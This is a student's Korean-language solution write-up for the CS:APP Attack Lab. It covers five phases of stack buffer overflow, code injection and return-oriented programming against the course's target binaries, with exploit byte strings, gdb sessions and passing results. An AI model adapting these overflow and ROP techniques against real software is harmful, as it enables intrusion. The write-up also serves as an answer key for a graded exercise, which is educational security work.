시스템소프트웨어(CB2400108-059) - HW3:Attacklab

정보컴퓨터공학부 202255513 김대욱

[phase_1]

```
0000000000401779 <getbuf>:
  401779:       48 83 ec 18             sub    $0x18,%rsp
  40177d:       48 89 e7                mov    %rsp,%rdi
  401780:       e8 7e 02 00 00          callq  401a03 <Gets>
  401785:       b8 01 00 00 00          mov    $0x1,%eax
  40178a:       48 83 c4 18             add    $0x18,%rsp
  40178e:       c3                      retq
```

getbuf() 함수에서, 0x18 byte만큼 rsp를 뺀 후, Gets() 함수를 호출하는 과정이 있다. Gets() 함수에서 buffer에 0x18 byte 이상의 값을 넣게 된다면, return address를 침범하여 stack overflow가 발생할 수 있다.

```
000000000040178f <touch1>:
  40178f:       48 83 ec 08             sub    $0x8,%rsp
  401793:       c7 05 5f 2d 20 00 01    movl   $0x1,0x202d5f(%rip)        # 6044fc <vlevel>
```

getbuf() 함수가 실행되었을 때, stack에 있는 return address를 touch1() 함수의 시작 주소로 덮어쓰면 정상적으로 실행된다. touch1() 의 시작 주소는 0x40178f 이고, little endian 형식으로 **target21.p1** 파일을 생성한다. 0x18 만큼의 buffer를 비워야하므로, 24 byte를 비워두고 주소를 적으면 아래와 같다.

```
1 00 00 00 00 00 00 00 00
2 00 00 00 00 00 00 00 00
3 00 00 00 00 00 00 00 00
4 8f 17 40 00 00 00 00 00
```

cat target21.p1 | ./hex2raw | ./ctarget 명령어를 통해 정답여부를 확인하면 아래와 같다.

```
[202255513@CSEDell:~/HW3/target21$ cat target21.p1 | ./hex2raw | ./ctarget
Cookie: 0x6eb933c2
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

[phase_2]

touch2 () 함수를 call 한 이후, %edi register의 값을 cookie.txt의 값으로 바꾼다.

```
[202255513@CSEDell:~/HW3/target21$ cat cookie.txt                              ]
0x6eb933c2
```

```
00000000004017bb <touch2>:
  4017bb:       48 83 ec 08             sub    $0x8,%rsp
  4017bf:       89 fa                   mov    %edi,%edx
```

```
202255513@CSEDell:~/HW3/target21$ cat buffer.s
pushq $0x4017bb
movq $0x6eb933c2, %rdi
retq
```

cookie 값과 touch2() 함수의 시작주소 값을 이용하여 buffer.s 어셈블리 파일을 만든 후, 1) **gcc -c buffer.s** 2) **objdump -d buffer.o > buffer.txt** 명령어를 사용하면, 아래와 같은 값을 얻을 수 있다.

```
0000000000000000 <.text>:
   0:   68 bb 17 40 00          pushq  $0x4017bb
   5:   48 c7 c7 c2 33 b9 6e    mov    $0x6eb933c2,%rdi
   c:   c3                      retq
```

```
(gdb) b getbuf
Breakpoint 1 at 0x401779: file buf.c, line 12.
(gdb) run
Starting program: /home/sys059/202255513/HW3/target21/ctarget
Cookie: 0x6eb933c2

Breakpoint 1, getbuf () at buf.c:12
12      buf.c: No such file or directory.
(gdb) ni
14      in buf.c
(gdb) x/s $rsp
0x55641138:     ""
```

rdi 값을 구해주면, 0x55641138 이다. Little Endian임을 주의하여 buffer에 들어갈 정답 파일을 만들면 아래와 같다.

```
1 68 bb 17 40 00 48 c7 c7
2 c2 33 b9 6e c3 00 00 00
3 00 00 00 00 00 00 00 00
4 38 11 64 55 00 00 00 00
```

cat target21.p2 | ./hex2raw | ./ctarget 명령어를 통해 정답여부를 확인하면 아래와 같다.

```
202255513@CSEDell:~/HW3/target21$ cat target21.p2 | ./hex2raw | ./ctarget
Cookie: 0x6eb933c2
Type string:Touch2!: You called touch2(0x6eb933c2)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

[phase_3]

함수 실행과 함께 문자열의 주소를 인자로 전달해야 한다. 먼저 **gdb ctarget** 명령어로 gdb를 실행시킨 후**, break getbuf** 명령어로 breakpoint를 건 뒤, **info register**를 통해 $rsp의 주소값을 가져온다.

```
(gdb) info register
rax            0x0      0
rbx            0x55586000       1431855104
rcx            0x0      0
rdx            0x7ffff7dd18c0   140737351850176
rsi            0xc      12
rdi            0x606a50 6318672
rbp            0x55685fe8       0x55685fe8
rsp            0x55641150       0x55641150
```

```
202255513@CSEDell:~/HW3/target21$ cat phase3.s
mov $0x55641158, %edi
pushq $0x4018cc
ret
```

해당 $rsp의 주소값인 0x55641150 에 0x8을 더한 값인 0x55641158 touch3() 함수의 시작주소 값을 이용하여 phase3.s 어셈블리 파일을 만든 후, 1) **gcc -c phase3.s** 2) **objdump -d phase3.o > phase3.txt** 명령어를 사용하면, 아래와 같은 값을 얻을 수 있다.

```
0000000000000000 <.text>:
   0:   bf 58 11 64 55          mov    $0x55641158,%edi
   5:   68 cc 18 40 00          pushq  $0x4018cc
   a:   c3                      retq
```

buffer의 크기인 0x18 만큼을 만든 후, phase2처럼 4번째 줄에는 rdi 값을 넣어주고, 5번째 줄에는 cookie의 값을 ASCII 코드로 변환하여 넣어주면 된다.

```
1 bf 58 11 64 55 68 cc 18
2 40 00 c3 00 00 00 00 00
3 00 00 00 00 00 00 00 00
4 38 11 64 55 00 00 00 00
5 36 65 62 39 33 33 63 32
```

cat target21.p3 | ./hex2raw | ./ctarget 명령어를 통해 정답여부를 확인하면 아래와 같다.

```
202255513@CSEDell:~/HW3/target21$ cat target21.p3 | ./hex2raw | ./ctarget
Cookie: 0x6eb933c2
Type string:Touch3!: You called touch3("6eb933c2")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

[phase_4]

phase_4는 앞의 세 문제와 다르게 ctarget이 아닌, rtarget을 이용한다. popq %rax, ret를 통해 스택에 저장된 cookie값을 %rax에 저장하고, movq %rax, %rdi를 통해 값을 옮겨준 뒤 touch2() 함수를 불러오면 된다.

phase_4 문제는 0x18 만큼의 값을 비워두고, 차례로 명령을 넣어주면 된다. popq %rax 명령(58)의 위치는 0x401984 + 4 이므로, little endian으로 한줄을 채운다.

```
908 0000000000401984 <setval_400>:
909   401984:   c7 07 f7 4a 58 c3       movl   $0xc3584af7,(%rdi)
910   40198a:   c3                      retq
```

그 뒷줄은 cookie 값을 넣어주고, %rdi -> %rdi 작업을 해야한다. 따라서 48 89 c7 가젯으로 주소값을 찾아보면, 0x401979 + 3 가 된다. 마지막 줄은 touch2() 함수의 시작 주소값을 넣어주면 된다.

```
920 0000000000401999 <setval_442>:
921   401999:   c7 07 51 48 89 c7       movl   $0xc7894851,(%rdi)
922   40199f:   c3                      retq
```

아래는 정답 코드이다.

```
1 00 00 00 00 00 00 00 00
2 00 00 00 00 00 00 00 00
3 00 00 00 00 00 00 00 00
4 88 19 40 00 00 00 00 00
5 c2 33 b9 6e 00 00 00 00
6 9c 19 40 00 00 00 00 00
7 bb 17 40 00 00 00 00 00
```

cat target21.p4 | ./hex2raw | ./rtarget 명령어를 통해 정답여부를 확인하면 아래와 같다.

```
202255513@CSEDell:~/HW3/target21$ cat target21.p4 | ./hex2raw | ./rtarget
Cookie: 0x6eb933c2
Type string:Touch2!: You called touch2(0x6eb933c2)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```

[phase_5]

phase_4는 %eax의 값을 %esi로 이동시키고, %rsp 값을 %edi로 이동시킨 후 add_xy 함수를 이용하는 문제이다. rtarget을 disas 하여 명령어를 잘 살펴보면 된다. 유효한 가젯은 90, c3 과 pdf에 있는 nop instruction을 활용하여 유효한 가젯을 살펴본다.

%rsp -> %rax 의 기계어 명령은 **"48 89 e0"** 이고, 주소 값은 **0x4019c0** 이다.

```
00000000004019be <addval_232>:
  4019be:       8d 87 48 89 e0 90       lea    -0x6f1f76b8(%rdi),%eax
  4019c4:       c3                      retq
```

%rax -> %rdi 의 기계어 명령은 **"48 89 c7"** 이고, 주소 값은 **0x401978** 이다.

```
0000000000401976 <setval_269>:
  401976:       c7 07 48 89 c7 90       movl   $0x90c78948,(%rdi)
  40197c:       c3                      retq
```

pop %rax 명령어는 phase_4에서 참고하면, 0x401988이고, offset은 48이다.
%eax -> %ecx 의 기계어 명령은 **"89 c1"** 이고, 주소 값은 **0x401a62** 이다.

```
0000000000401a60 <addval_222>:
  401a60:       8d 87 89 c1 20 db       lea    -0x24df3e77(%rdi),%eax
  401a66:       c3                      retq
```

%ecx -> %edx 의 기계어 명령은 **"89 ca"** 이고, 주소 값은 **0x401a18** 이다.

```
0000000000401a15 <setval_155>:
  401a15:       c7 07 d3 89 ca c3       movl   $0xc3ca89d3,(%rdi)
  401a1b:       c3                      retq
```

%edx -> %esi 의 기계어 명령은 **"89 d6"** 이고, 주소 값은 **0x4019ac** 이다.

```
00000000004019ab <getval_332>:
  4019ab:       b8 89 d6 90 c3          mov    $0xc390d689,%eax
  4019b0:       c3                      retq

928 00000000004019a6 <add_xy>:
929    4019a6:    48 8d 04 37             lea    (%rdi,%rsi,1),%rax
930    4019aa:    c3                      retq
```

touch3() 함수의 주소 값과, cookie 값의 ASCII 변환 값은 위에서 참고하면 아래와 같은 정답 코드가 완성된다.

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
c0 19 40 00 00 00 00 00
78 19 40 00 00 00 00 00
88 19 40 00 00 00 00 00
48 00 00 00 00 00 00 00
62 1a 40 00 00 00 00 00
18 1a 40 00 00 00 00 00
ac 19 40 00 00 00 00 00
a6 19 40 00 00 00 00 00
78 19 40 00 00 00 00 00
cc 18 40 00 00 00 00 00
36 65 62 39 33 33 63 32
00 00 00 00 00 00 00 00
```

cat target21.p5 | ./hex2raw | ./rtarget 명령어를 통해 정답여부를 확인하면 아래와 같다.

```
202255513@CSEDell:~/HW3/target21$ cat target21.p5 | ./hex2raw | ./rtarget
Cookie: 0x6eb933c2
Type string:Touch3!: You called touch3("6eb933c2")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
```